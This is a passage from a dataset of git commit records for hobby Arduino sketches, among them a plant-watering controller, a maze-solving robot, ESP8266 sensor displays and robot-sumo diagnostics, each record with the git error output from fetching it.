CMD_GET_SNR, 0x26, 0x00, 0x00, ETX};\n RDM880.write(CMD, 8);\n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'MF_ACM\/MF_ACM.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"790143c4a3f544e7d45656373a9d64fd038a873d","subject":"Delete USB_PS3_Example.ino","message":"Delete USB_PS3_Example.ino","repos":"nitricx\/Tank_Automation","old_file":"USB_PS3_Example.ino","new_file":"USB_PS3_Example.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/nitricx\/Tank_Automation.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"2544d3787e318ba0f66abf00f363b4c82d28d3ae","subject":"Combined LCD & motor control with mosfet","message":"Combined LCD & motor control with mosfet\n","repos":"martindisch\/Arduino","old_file":"Watering\/Watering.ino","new_file":"Watering\/Watering.ino","new_contents":"#include <LiquidCrystal.h>\n\nLiquidCrystal lcd(12, 11, 5, 4, 3, 2);\nconst int contrastPin = 6;\nconst int contrast = 40;\n\nconst int gate = 7;\nint mode = 0;\n\nvoid setup() {\n Serial.begin(9600);\n pinMode(gate, OUTPUT);\n Serial.println(\"Enter 0 or 1\");\n\n lcd.begin(16, 2);\n pinMode(contrastPin, OUTPUT);\n analogWrite(contrastPin, contrast);\n lcd.print(\"Type 0 or 1\");\n lcd.setCursor(0, 1);\n lcd.print(\"in serial\");\n}\n\nvoid loop() {\n if (Serial.available()) {\n mode = Serial.parseInt();\n if (mode == 0) {\n digitalWrite(gate, LOW);\n }\n else {\n digitalWrite(gate, HIGH);\n }\n lcd.clear();\n lcd.setCursor(0, 0);\n lcd.print(\"New value \");\n lcd.print(mode);\n lcd.setCursor(0, 1);\n lcd.write(\"Enter 0 or 1\");\n }\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'Watering\/Watering.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"8135d5330853d186cf14e3145717e9cbb02e4616","subject":"add obstacle avoiding program","message":"add obstacle avoiding program\n","repos":"nisald\/robot_program,nisald\/robot_program","old_file":"obstacle_avoiding\/obstacle_avoiding.ino","new_file":"obstacle_avoiding\/obstacle_avoiding.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/nisald\/robot_program.git\/'\n","license":"apache-2.0","lang":"Arduino"} {"commit":"355c4e61d326cbeddc4949f40db1bbbd3e864090","subject":"FIx spelling mistake and added comments","message":"FIx spelling mistake and added comments\n","repos":"freephases\/lenr-logger","old_file":"config.ino","new_file":"config.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/freephases\/lenr-logger.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"619f329974c41d0370bd24ed53f3226dcebcc355","subject":"used 1 insted of 0 for outer most sensor","message":"used 1 insted of 0 for outer most sensor","repos":"JanBakunin\/maze-solving,JanBakunin\/maze-solving,JanBakunin\/maze-solving","old_file":"MazeSolver.ino","new_file":"MazeSolver.ino","new_contents":"#include <QTRSensors.h>\n#include \"Direction.h\"\n\nconst int numberOfSensors = 6;\n\/\/ pid loop vars\nconst float proportionalConst = 0.1f;\nconst float derivateConst = 1.0f;\nconst int calibrationSeconds = 4;\nconst int twoHundred = 200;\n\nint speed_a = 3; \/\/speed control for motor outputs 1 and 2 is on digital pin 10 (Right motor)\nint speed_b = 11; \/\/speed control for motor outputs 3 and 4 is on digital pin 11 (Left motor)\nint dir_a = 12; \/\/direction control for motor outputs 1 and 2 is on digital pin 12 (Right motor)\nint dir_b = 13; \/\/direction control for motor outputs 3 and 4 is on digital pin 13 (Left motor)\n\n\/\/ motor tuning vars for maze navigating\nint turnSpeed = 200; \/\/ tune value motors will run while turning (0-255) NOT TESTED\nint turnSpeedSlow = 125; \/\/ tune value motors will run as they slow down from turning cycle to avoid overrun (0-255) NOT TESTED\nint drivePastDelay = 300; \/\/ tune value in mseconds motors will run past intersection to align wheels for turn NOT TESTED\n\n\nunsigned char pins[6] = { 0, 1, 2, 3, 4, 5 };\nQTRSensorsAnalog qtra(pins, numberOfSensors, 4, 2);\nunsigned int sensorValues[numberOfSensors];\n\nDirection direction = forward;\n\nunsigned int position;\nint lastError;\nint loopIndex;\n\nvoid setup()\n{\n\tpinMode(12, OUTPUT);\n\tpinMode(13, OUTPUT);\n\n\tSerial.begin(9600);\n\n\tdelay(500);\n\n\tcalibrate();\n\n\tSerial.println('\\n');\n\tdelay(1000);\n}\n\nvoid loop()\n{\n\tswitch (Serial.read())\n\t{\n\tcase '1':\n\t\tdirection = none;\n\t\tbreak;\n\tcase '2':\n\t\tdirection = forward;\n\t\tbreak;\n\tdefault:\n\t\tbreak;\n\t}\n\n\tif (loopIndex % 100 == 0)\n\t{\n\t\tprintSensorValues();\n\t}\n\n\tdrive();\n\n\tloopIndex++;\n}\n\nvoid calibrate()\n{\n\tfor (int i = 0; i < calibrationSeconds \/ 0.025; i++)\n\t{\n\t\tqtra.calibrate();\n\t}\n\n\t\/\/ print the calibration minimum values measured when emitters were on\n\tfor (int i = 0; i < numberOfSensors; i++)\n\t{\n\t\tSerial.print(qtra.calibratedMinimumOn[i]);\n\t\tSerial.print(' ');\n\t}\n\tSerial.println();\n\n\t\/\/ print the calibration maximum values measured when emitters were on\n\tfor (int i = 0; i < numberOfSensors; i++)\n\t{\n\t\tSerial.print(qtra.calibratedMaximumOn[i]);\n\t\tSerial.print(' ');\n\t}\n}\n\nvoid drive()\n{\n\tif (direction == none)\n\t{\n\t\tmoveMotorOnSide(left, 0);\n\t\tmoveMotorOnSide(right, 0);\n\t\treturn;\n\t}\n\n\tposition = qtra.readLine(sensorValues);\n\tint posPropotionalToMid = position - 2500;\n\n\tint motorSpeed = proportionalConst * posPropotionalToMid + derivateConst * (posPropotionalToMid - lastError);\n\tlastError = posPropotionalToMid;\n\n\tmoveMotorOnSide(left, twoHundred - motorSpeed);\n\t\/\/Serial.print(' ');\n\tmoveMotorOnSide(right, twoHundred + motorSpeed);\n\n}\n\nvoid moveMotorOnSide(Direction side, int speed)\n{\n\tspeed = max(min(speed, 180), 0);\n\t\/\/Serial.print(\"Motor \");\n\t\/\/Serial.print(side == left ? \"left \" : \"right \");\n\t\/\/Serial.print(' ');\n\t\/\/Serial.print(speed);\n\tdigitalWrite(side == left ? 13 : 12, HIGH);\n\tanalogWrite(side == left ? 3 : 11, speed);\n}\n\nvoid printSensorValues()\n{\n\tfor (unsigned char i = 0; i < numberOfSensors; i++)\n\t{\n\t\tSerial.print(sensorValues[i]);\n\t\tSerial.print('\\t');\n\t}\n\n\tSerial.println((int)position - 2500);\n}\n\/\/ Turns to the sent variable of\n\/\/ 'L' (left), 'R' (right), 'S' (straight), or 'B' (back)\n\/\/ To Do: Tune 'turnSpeed'\nvoid turn(char dir)\n{\n switch(dir)\n {\n \/\/ Turn left 90deg\n case 'L': \n digitalWrite(dir_a, HIGH); \n analogWrite(speed_a, turnSpeed);\n digitalWrite(dir_b, LOW); \n analogWrite(speed_b, turnSpeed);\n \n position = qtrra.readLine(sensorValues);\n \n \n while (sensorValues[5] <300) \/\/ wait for outer most sensor to find the line\n {\n position = qtrra.readLine(sensorValues);\n }\n \n \/\/ slow down speed\n analogWrite(speed_a, turnSpeedSlow);\n analogWrite(speed_b, turnSpeedSlow); \n \n \/\/ find center\n while (position > 3000) \/\/ tune - wait for line position to find near center\n {\n position = qtrra.readLine(sensorValues); \/\/possible bug: libary uses position to calculate the next val \n }\n \n \/\/ stop both motors\n analogWrite(speed_b, 0); \/\/ stop right motor first to better avoid over run\n analogWrite(speed_a, 0); \n break;\n \n \/\/ Turn right 90deg\n case 'R': \n digitalWrite(dir_a, LOW); \n analogWrite(speed_a, turnSpeed);\n digitalWrite(dir_b, HIGH); \n analogWrite(speed_b, turnSpeed);\n \n line_position = qtrra.readLine(sensorValues);\n \n while (sensorValues[0] <300) \/\/ wait for outer most sensor to find the line\n {\n position = qtrra.readLine(sensorValues);\n }\n \n \/\/ slow down speed\n analogWrite(speed_a, turnSpeedSlow);\n analogWrite(speed_b, turnSpeedSlow); \n \n \/\/ find center\n while (position < 3000) \/\/ tune - wait for line position to find near center\n {\n position = qtrra.readLine(sensorValues);\n }\n \n \/\/ stop both motors\n analogWrite(speed_a, 0); \n analogWrite(speed_b, 0); \n break;\n \n \/\/ Turn right 180deg to go back\n case 'B': \n digitalWrite(dir_a, LOW); \n analogWrite(speed_a, turnSpeed);\n digitalWrite(dir_b, HIGH); \n analogWrite(speed_b, turnSpeed);\n \n position = qtrrc.readLine(sensorValues);\n \n while (sensorValues[0] <300) \/\/ wait for outer most sensor to find the line\n {\n position = qtrra.readLine(sensorValues);\n }\n \n \/\/ slow down speed\n analogWrite(speed_a, turnSpeedSlow);\n analogWrite(speed_b, turnSpeedSlow); \n \n \/\/ find center\n while (position < 300) \/\/ tune - wait for line position to find near center\n {\n position = qtrrc.readLine(sensorValues);\n }\n \n \/\/ stop both motors\n analogWrite(speed_a, 0); \n analogWrite(speed_b, 0); \n break;\n\n \/\/ Straight ahead\n case 'S':\n \/\/ do nothing\n break;\n }\n} \/\/ end turn\n\nvoid MazeSolve()\n{\n while(1)\n {\n \n follow_line();\n\n \/\/ Drive straight a bit.\n digitalWrite(dir_a, LOW); \n analogWrite(pwm_a, 200);\n digitalWrite(dir_b, LOW); \n analogWrite(pwm_b, 200); \n delay(25); \n\n \/\/ These variables record whether the robot has seen a line to the\n \/\/ left, straight ahead, and right, whil examining the current\n \/\/ intersection.\n unsigned char found_left=0;\n unsigned char found_straight=0;\n unsigned char found_right=0;\n \n \/\/ Now read the sensors and check the intersection type.\n line_position = qtrra.readLine(sensorValues);\n\n \/\/ Check for left and right exits.\n if(sensorValues[0] > 400)\n found_right = 1;\n if(sensorValues[5] > 400)\n found_left = 1;\n\n \/\/ Drive straight a bit more \n digitalWrite(dir_a, LOW); \n analogWrite(pwm_a, 200);\n digitalWrite(dir_b, LOW); \n analogWrite(pwm_b, 200);\n delay(drivePastDelay); \n \n line_position = qtrra.readLine(sensorValues);\n \/\/ if(sensorValues[1] > 200 || sensorValues[2] > 200 || sensorValues[3] > 200 || sensorValues[4] > 200) \/\/To Do: Which sensor values indicate a straight\n \/\/ found_straight = 1;\n \n \/\/ unsigned char dir = select_turn(found_left, found_straight, found_right); \/\/To Do: this method\n\n \/\/ Make the turn indicated by the path.\n turn(dir);\n \/\/To Do: End of the maze\n }\r\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'MazeSolver.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"e8bc2c80c306cdad9f3fa765147a9b0a4a2d6711","subject":"Create internetconnect.ino","message":"Create internetconnect.ino","repos":"dreamInCoDeforlife\/Arduino_Webinterface,dreamInCoDeforlife\/Arduino_Webinterface,dreamInCoDeforlife\/Arduino_Webinterface","old_file":"internetconnect.ino","new_file":"internetconnect.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/dreamInCoDeforlife\/Arduino_Webinterface.git\/'\n","license":"apache-2.0","lang":"Arduino"} {"commit":"7a89eb31d630a4e4199bccbcb7f6ccc1b04fd67e","subject":"First implementation of WiFi connection","message":"First implementation of WiFi connection\n","repos":"slurdge\/esp8266_dht11_oled,slurdge\/esp8266_dht11_oled,slurdge\/esp8266_dht11_oled,slurdge\/esp8266_dht11_oled","old_file":"esp8266_dht11_oled.ino","new_file":"esp8266_dht11_oled.ino","new_contents":"#include <ESP8266WiFi.h>\n#include <ESP8266HTTPClient.h>\n\n#include <Adafruit_Sensor.h>\n#include <DHT.h>\n#include <DHT_U.h>\n\n#include <U8g2lib.h>\n\n#include \"wifi_creds.h\"\n\n#define DHTPIN D5 \/\/ Pin which is connected to the DHT sensor.\n#define DHTTYPE DHT11 \/\/ DHT 11 \n\nDHT_Unified dht(DHTPIN, DHTTYPE);\nU8G2_SSD1306_128X32_UNIVISION_F_HW_I2C u8g2(U8G2_R0);\n#define SCREEN_WIDTH 128\n#define SCREEN_HEIGHT 32\n\nstatic char sensor_buffer[] = \"TT,YY\";\nString postData = String(\"temperature=\");\n\nHTTPClient http;\nString localIP;\n\n#define FINAL 0\n\n#if FINAL\n#define DEBUG_PRINTLN(...)\n#define DEBUG_PRINT(...)\n#else\n#define DEBUG_PRINTLN(...)\tSerial.println(__VA_ARGS__)\n#define DEBUG_PRINT(...)\tSerial.print(__VA_ARGS__)\n#endif\n\nunsigned long lastWiFIBegin = 0;\nstatic const unsigned long INTERVAL_BETWEEN_CONNECT_MS = 5000;\n\nvoid checkWiFi()\n{\n\tif (WiFi.status() != WL_CONNECTED)\n\t{\n\t\tDEBUG_PRINTLN(\"Connecting...\");\n\t\tif (lastWiFIBegin == 0 || (millis() - lastWiFIBegin > INTERVAL_BETWEEN_CONNECT_MS))\n\t\t{\n\t\t\tWiFi.begin(WIFI_NAME, WIFI_PASS);\n\t\t\tlastWiFIBegin = millis();\n\t\t}\n\t\tlocalIP = \"No connection.\";\n\t\tSerial.println(WiFi.status());\n\t}\n\telse\n\t{\n\t\tlocalIP = WiFi.localIP().toString();\n\t\tlong rssi = WiFi.RSSI();\n\t\tSerial.print(\"RSSI:\");\n\t\tSerial.println(rssi);\n\t}\n}\n\nvoid setup()\n{\n#if !FINAL\n\tSerial.begin(115200);\n\tSerial.println();\n#endif\n\n\tpinMode(D3, INPUT_PULLUP);\n\tattachInterrupt(digitalPinToInterrupt(D3), button_pressed, FALLING);\n\n\tdht.begin();\n\tu8g2.begin();\n\tcheckWiFi();\n\t\/*\n\twhile (WiFi.status() != WL_CONNECTED)\n\t{\n\t\tSerial.print(\".\");\n\t\tdelay(500);\n\t}\n\t*\/\n}\n\nvoid button_pressed() {\n\tSerial.println(\"Button pressed!\");\n}\n\nvoid loop() {\n\tcheckWiFi();\n\t\/*\n\tint button = digitalRead(D3);\n\tSerial.print(\"Button: \");\n\tSerial.println(button);\n\t\/\/ Get temperature event and print its value.\n\tsensors_event_t event;\n\tdht.temperature().getEvent(&event);\n\tif (isnan(event.temperature)) {\n\t\tSerial.println(\"Error reading temperature!\");\n\t}\n\telse {\n\t\tSerial.print(\"Temperature: \");\n\t\tSerial.print(event.temperature);\n\t\tSerial.println(\" *C\");\n\t\tsensor_buffer[0] = '0' + (int)event.temperature \/ 10;\n\t\tsensor_buffer[1] = '0' + (int)event.temperature % 10;\n\t}\n\t\/\/ Get humidity event and print its value.\n\tdht.humidity().getEvent(&event);\n\tif (isnan(event.relative_humidity)) {\n\t\tSerial.println(\"Error reading humidity!\");\n\t}\n\telse {\n\t\tSerial.print(\"Humidity: \");\n\t\tSerial.print(event.relative_humidity);\n\t\tSerial.println(\"%\");\n\t\tsensor_buffer[3] = '0' + (int)event.relative_humidity \/ 10;\n\t\tsensor_buffer[4] = '0' + (int)event.relative_humidity % 10;\n\t}\n\t*\/\n\tu8g2.clearBuffer();\n\tu8g2.setFont(u8g2_font_5x7_tr);\n\tunsigned int size = u8g2.getStrWidth(localIP.c_str());\n\tu8g2.drawStr(SCREEN_WIDTH - size, SCREEN_HEIGHT - 1, localIP.c_str());\n\tu8g2.sendBuffer();\n\n\t\/\/u8g2.drawBitmap(0,10, 2, 16, )\n\t \/\/u8g2.drawStr(64,24,humidity_buffer);\n\n\t\/*\n\t http.begin(\"http:\/\/\/\");\n\n\t String fullpostData=postData+sensor_buffer;\n\t Serial.println(fullpostData);\n\t http.addHeader(\"Content-Type\",\"application\/x-www-form-urlencoded\");\n\t int httpCode = http.POST(fullpostData);\n\t if(httpCode == HTTP_CODE_OK)\n\t {\n\t\tSerial.print(\"HTTP response code \");\n\t\tSerial.println(httpCode);\n\t\tString response = http.getString();\n\t\tSerial.println(response);\n\t }\n\t else\n\t {\n\t\t Serial.println(\"Error in HTTP request\");\n\t }\n\n\t http.end();\n\t*\/\n\tdelay(1000 * 1);\n}\n\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'esp8266_dht11_oled.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"59f338eab642bd15970d929fd939312b1b5b2576","subject":"dead end work...","message":"dead end work...\n","repos":"sschiesser\/Arduino_MPU9150,sschiesser\/Arduino_MPU9150,sschiesser\/Arduino_MPU9150","old_file":"Arduino9150\/Arduino9150.ino","new_file":"Arduino9150\/Arduino9150.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/sschiesser\/Arduino_MPU9150.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"59a84a5c3b3a79f31958ff342eed24f253171765","subject":"Delete D1M-WX1_IoT.ino","message":"Delete D1M-WX1_IoT.ino","repos":"W4KRL\/D1M-WX1-Weather-Station","old_file":"D1M-WX1_IoT\/D1M-WX1_IoT.ino","new_file":"D1M-WX1_IoT\/D1M-WX1_IoT.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/W4KRL\/D1M-WX1-Weather-Station.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"e9f92a2f503e49a2b7687f4405c1ba700e1f3e03","subject":"Thermometer.ino","message":"Thermometer.ino\n","repos":"ngs\/arduino-thermometer","old_file":"Thermometer\/Thermometer.ino","new_file":"Thermometer\/Thermometer.ino","new_contents":"#include <SevSeg.h>\n\nconst int SENSOR_PIN = A0;\nconst int UPDATER_INTERVAL = 1000;\nSevSeg sevseg;\nunsigned long timer;\n\nvoid setup() {\n Serial.begin(9600);\n sevseg.Begin(0, 13, 4, 3, 100, 6, 2, 9, 11, 12, 5, 8, 10);\n sevseg.Brightness(90);\n timer = millis();\n}\n\nvoid loop() {\n sevseg.PrintOutput();\n unsigned long mils = millis();\n if (mils - timer >= UPDATER_INTERVAL) {\n timer = mils;\n int value = analogRead(SENSOR_PIN);\n int templature = map(value, 0, 205, 0, 10000);\n Serial.println(templature);\n sevseg.NewNum(templature,(byte) 2);\n }\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'Thermometer\/Thermometer.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"d7375992b0910bb7ef1fa4bf7a50675d206b7886","subject":"Added sketch for getting mac address of new ESP8266 device.","message":"Added sketch for getting mac address of new ESP8266 device.\n\nSigned-off-by: Braden Licastro <79d6010d7e15bbb3aa5be04af4e1cdfb0e9c5bfd@live.com>\n","repos":"BenchPressesBooks\/SNAP-Automata,BenchPressesBooks\/SNAP-Automata,BenchPressesBooks\/SNAP-Automata,BenchPressesBooks\/SNAP-Automata","old_file":"sketches\/ESP8266_GetMAC\/ESP8266_GetMAC.ino","new_file":"sketches\/ESP8266_GetMAC\/ESP8266_GetMAC.ino","new_contents":"#include <ESP8266WiFi.h>\n\nvoid setup() {\n Serial.begin(115200);\n delay(500);\n\n Serial.print(MAC Address: );\n Serial.println(WiFi.macAddress());\n}\n\nvoid loop() {}\n\r\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'sketches\/ESP8266_GetMAC\/ESP8266_GetMAC.ino' did not match any file(s) known to git\n","license":"apache-2.0","lang":"Arduino"} {"commit":"0fc30c45c9e7620b145d5eb9485bc6825966efa6","subject":"Prototype code for reading and processing the url.","message":"Prototype code for reading and processing the url.\n","repos":"tomwagner1999\/SmartHome,tomwagner1999\/esp8266-webserver,tomwagner1999\/SmartHome,tomwagner1999\/SmartHome","old_file":"arduino-server\/arduino-server.ino","new_file":"arduino-server\/arduino-server.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/tomwagner1999\/SmartHome.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"7ea8e13a210fa756e5f2b5442ddf576e4c342288","subject":"Stop on black","message":"Stop on black\n","repos":"zteifel\/booboo,zteifel\/booboo","old_file":"Tests\/stop_on_black\/stop_on_black.ino","new_file":"Tests\/stop_on_black\/stop_on_black.ino","new_contents":"#include <Servo.h> \/\/ Include servo library\n \nServo servoLeft;\nServo servoRight;\n\nconst int READ_PIN = 8;\nconst int SERVO_L_PIN = 13;\nconst int SERVO_R_PIN = 12;\n\nint reading;\n\nvoid setup()\n{\n pinMode(READ_PIN, INPUT);\n Serial.begin(9600);\n \n servoLeft.attach(SERVO_L_PIN);\n servoRight.attach(SERVO_R_PIN);\n}\n\nvoid loop()\n{\n reading = digitalRead(READ_PIN); \n if(reading == HIGH){\n stopMovement();\n }else{\n moveForward();\n }\n delay(500);\n}\n\nvoid stopMovement(){\n servoLeft.writeMicroseconds(1500);\n servoRight.writeMicroseconds(1500);\n}\n\nvoid moveForward(){\n servoLeft.writeMicroseconds(1700);\n servoRight.writeMicroseconds(1300);\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'Tests\/stop_on_black\/stop_on_black.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"e0297b02974a0f50cc1620d4b725b7f78ee04243","subject":"Minor bug fixed","message":"Minor bug fixed","repos":"mcubemems\/Accelerometer_MC3610","old_file":"examples\/MCUBE3610demo\/MCUBE3610demo.ino","new_file":"examples\/MCUBE3610demo\/MCUBE3610demo.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/mcubemems\/Accelerometer_MC3610.git\/'\n","license":"bsd-3-clause","lang":"Arduino"} {"commit":"f20731409546a205ac9477d28b355ac2f9739e46","subject":"program that checks for all sensor functionality","message":"program that checks for all sensor functionality","repos":"simplyellow\/auto-sumo","old_file":"v2\/diagnostics\/sumo_diagnostics.ino","new_file":"v2\/diagnostics\/sumo_diagnostics.ino","new_contents":"\/*\nRobojackets Robot Sumo Team Pushiv\nSource: https:\/\/github.com\/simplyellow\/auto-sumo.git\nCopyright (c) 2017 Georgia Tech Robojackets\nPermission is hereby granted, free of charge, to any person obtaining a copy\nof this software and associated documentation files (the \"Software\"), to deal\nin the Software without restriction, including without limitation the rights\nto use, copy, modify, merge, publish, distribute, sublicense, and\/or sell\ncopies of the Software, and to permit persons to whom the Software is\nfurnished to do so, subject to the following conditions:\nThe above copyright notice and this permission notice shall be included in all\ncopies or substantial portions of the Software.\nTHE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\nIMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\nFITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\nAUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\nLIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\nOUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE\nSOFTWARE.\n*\/\n\n\/*\n * SUMO DIAGNOSTICS\n * Simple program to check all active sensors\n *\/\n\n#include <SharpDistSensor.h>\n#include <Servo.h> \/\/ for ESCs\n\n\/* labeled wrong on PCB\n * solution: keep connector positions but change pin declarations as described below:\n * FL is A0\n * FR is A1\n * BL is A2\n * BR is A3\n *\/\n\n\/\/ Analog pin to which the sensor is connected\nconst byte BR = A3; \/\/ back-right line sensor\nconst byte BL = A2; \/\/ back-left line sensor\nconst byte FR = A1; \/\/ front-right line sensor\nconst byte FL = A0; \/\/ front-left line sensor\n\nconst byte LLO = A4; \/\/ left-peripheral IR distance sensor\nconst byte LMO = A5; \/\/ left-middle IR distance sensor\nconst byte RMO = A6; \/\/ right-middle IR distance sensor\nconst byte RRO = A7; \/\/ right-peripheral IR distance sensor\n\nconst byte L_Hall = 2; \/\/ left Hall sensor\nconst byte R_Hall = 3; \/\/ right Hall sensor\nconst byte startModule = 4; \/\/ remote start module\n\n\/\/ Window size of the median filter (odd number, 1 = no filtering)\nconst byte mediumFilterWindowSize = 5;\n\n\/\/ Create an object instance of the SharpDistSensor class\nSharpDistSensor rightMidIR(RMO, mediumFilterWindowSize); \/\/ RMO\nSharpDistSensor leftMidIR(LMO, mediumFilterWindowSize); \/\/ LMO\nSharpDistSensor rightPerIR(RRO, mediumFilterWindowSize); \/\/ RRO\nSharpDistSensor leftPerIR(LLO, mediumFilterWindowSize); \/\/ LLO\n\nServo L_ESC; \/\/Left Motor\nServo R_ESC; \/\/Right Motor\n\nvoid setup() {\n Serial.begin(9600);\n R_ESC.attach(10);\n L_ESC.attach(11);\n R_ESC.writeMicroseconds(1500);\n L_ESC.writeMicroseconds(1500);\n\n pinMode(L_Hall, INPUT);\n pinMode(R_Hall, INPUT);\n\n \/\/ basic start module: wait 5s after pressing start\n \/\/ IMPLEMENT ON\/OFF functionality\n \/\/ for OFF:\n \/\/ either have permanent off until power cycle\n \/\/ or reset timer, variables, and such\n pinMode(startModule, INPUT);\n int initial = digitalRead(startModule);\n while (initial == digitalRead(startModule)) {\n \/\/Serial.println(digitalRead(startModule));\n }\n delay(5000);\n}\n\nvoid loop() {\n Serial.print(\"BR: \");\n Serial.println(analogRead(BR));\n Serial.print(\"BL: \");\n Serial.println(analogRead(BL));\n Serial.print(\"FR: \");\n Serial.println(analogRead(FR));\n Serial.print(\"FL: \");\n Serial.println(analogRead(FL));\n Serial.print(\"L_Hall: \");\n Serial.println(digitalRead(L_Hall));\n Serial.print(\"R_Hall: \");\n Serial.println(digitalRead(R_Hall));\n Serial.println(\"RRO RMO LMO LLO \");\n Serial.print(rightPerIR.getDist());\n Serial.print(\" \");\n Serial.print(rightMidIR.getDist());\n Serial.print(\" \");\n Serial.print(leftMidIR.getDist());\n Serial.print(\" \");\n Serial.println(leftPerIR.getDist());\n Serial.println();\n Serial.println();\n Serial.println();\n Serial.println();\n delay(500);\n}\n\nvoid move(int motor, int speed, int direction){\n \/\/Move specific motor at speed and direction\n \/\/motor: 1 for right, 2 for left\n \/\/speed: 0 is off, and 255 is full speed\n \/\/direction: 0 clockwise, 1 counter-clockwise\n\n \/\/ pin 10 is Right ESC\n \/\/ pin 11 is Left ESC\n \/\/ usage: x_ESC.writeMicroseconds(pwm)\n \/\/ pwm should between 1100 and 1800\n \/\/ 1100 for maximum reverse, 1800 for maximum forward\n \/\/ 30% throttle is 1500 +\/- 300*0.3 = 1500 +\/- 90\n\n int pwm = 1500; \/\/ default is ESC stopped\n \/\/ \"speed\" is from 0 to 255\n if(direction == 1) { \/\/ forward\n pwm = 1500 + map(speed, 0, 255, 0, 300);\n } else { \/\/ reverse\n pwm = 1500 - map(speed, 0, 255, 0, 300);\n }\n\n if(motor == 1) { \/\/ RIGHT ESC\n R_ESC.writeMicroseconds(pwm);\n } else { \/\/ LEFT ESC\n L_ESC.writeMicroseconds(pwm);\n }\n}\n\nvoid stop(){\n \/\/enable standby\n \/\/digitalWrite(STBY, LOW);\n R_ESC.writeMicroseconds(1500);\n L_ESC.writeMicroseconds(1500);\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'v2\/diagnostics\/sumo_diagnostics.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"9ae3b5ec70901c8587efa5bd454939d4311fdae2","subject":"Commit intial code","message":"Commit intial code\n","repos":"1n5aN1aC\/HouseESP","old_file":"NTPClient\/NTPClient.ino","new_file":"NTPClient\/NTPClient.ino","new_contents":"\/*\n Udp NTP Client\n\n Get the time from a Network Time Protocol (NTP) time server\n Demonstrates use of UDP sendPacket and ReceivePacket\n For more on NTP time servers and the messages needed to communicate with them,\n see http:\/\/en.wikipedia.org\/wiki\/Network_Time_Protocol\n\n created 4 Sep 2010\n by Michael Margolis\n modified 9 Apr 2012\n by Tom Igoe\n updated for the ESP8266 12 Apr 2015 \n by Ivan Grokhotkov\n\n This code is in the public domain.\n*\/\n\n#include <LedControl.h>\n#include <ESP8266WiFi.h>\n#include <TimeLib.h>\n#include <NtpClientLib.h>\n\nchar ssid[] = \"joshua\"; \/\/ your network SSID (name)\nchar pass[] = \"\"; \/\/ your network password\n\nLedControl lc1=LedControl(D5,D6,D7,1);\nString timeDisplay;\n\nvoid setup()\n{\n Serial.begin(115200);\n Serial.println();\n Serial.println();\n\n \/\/ We 